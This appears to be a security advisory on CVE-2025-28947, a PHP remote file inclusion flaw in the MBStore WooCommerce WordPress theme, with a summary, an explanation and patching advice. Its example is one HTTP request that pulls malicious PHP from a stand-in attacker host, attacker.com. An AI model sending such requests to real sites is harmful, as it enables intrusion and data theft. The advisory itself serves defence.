Overview
The CVE-2025-28947 vulnerability is a critical security flaw that affects the popular MBStore – Digital WooCommerce WordPress Theme. This loophole is a PHP Remote File Inclusion vulnerability that allows for PHP Local File Inclusion, potentially leading to complete system compromise or significant data leakage. Given the popularity of MBStore and its extensive use in building online stores, this vulnerability poses a significant risk to a large number of eCommerce websites.
Vulnerability Summary
CVE ID: CVE-2025-28947
Severity: Critical, with a CVSS Severity Score of 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage
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Product | Affected Versions
MBStore – Digital WooCommerce WordPress Theme | Up to Version 2.3
How the Exploit Works
The vulnerability lies in the improper control of filename for include/require statement in the PHP program of the MBStore theme. This loophole allows a malicious actor to include files from external servers, which can result in the execution of arbitrary code. The code execution occurs within the context of the application and may allow the attacker to steal sensitive data or gain privileged access to the system.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. The attacker crafts a URL that triggers the vulnerable include/require statement, causing the application to fetch and execute a malicious PHP file hosted on the attacker’s server.
GET /index.php?page=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.comIn this example, the “malicious_file.php” could contain code that compromises the system or exfiltrates data.
Mitigation and Patching
To mitigate the risk posed by this vulnerability, it is advised to apply the vendor-supplied patch at the earliest convenience. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary measure to help prevent the exploit. Regularly updating and patching your systems can significantly reduce the risk of such vulnerabilities.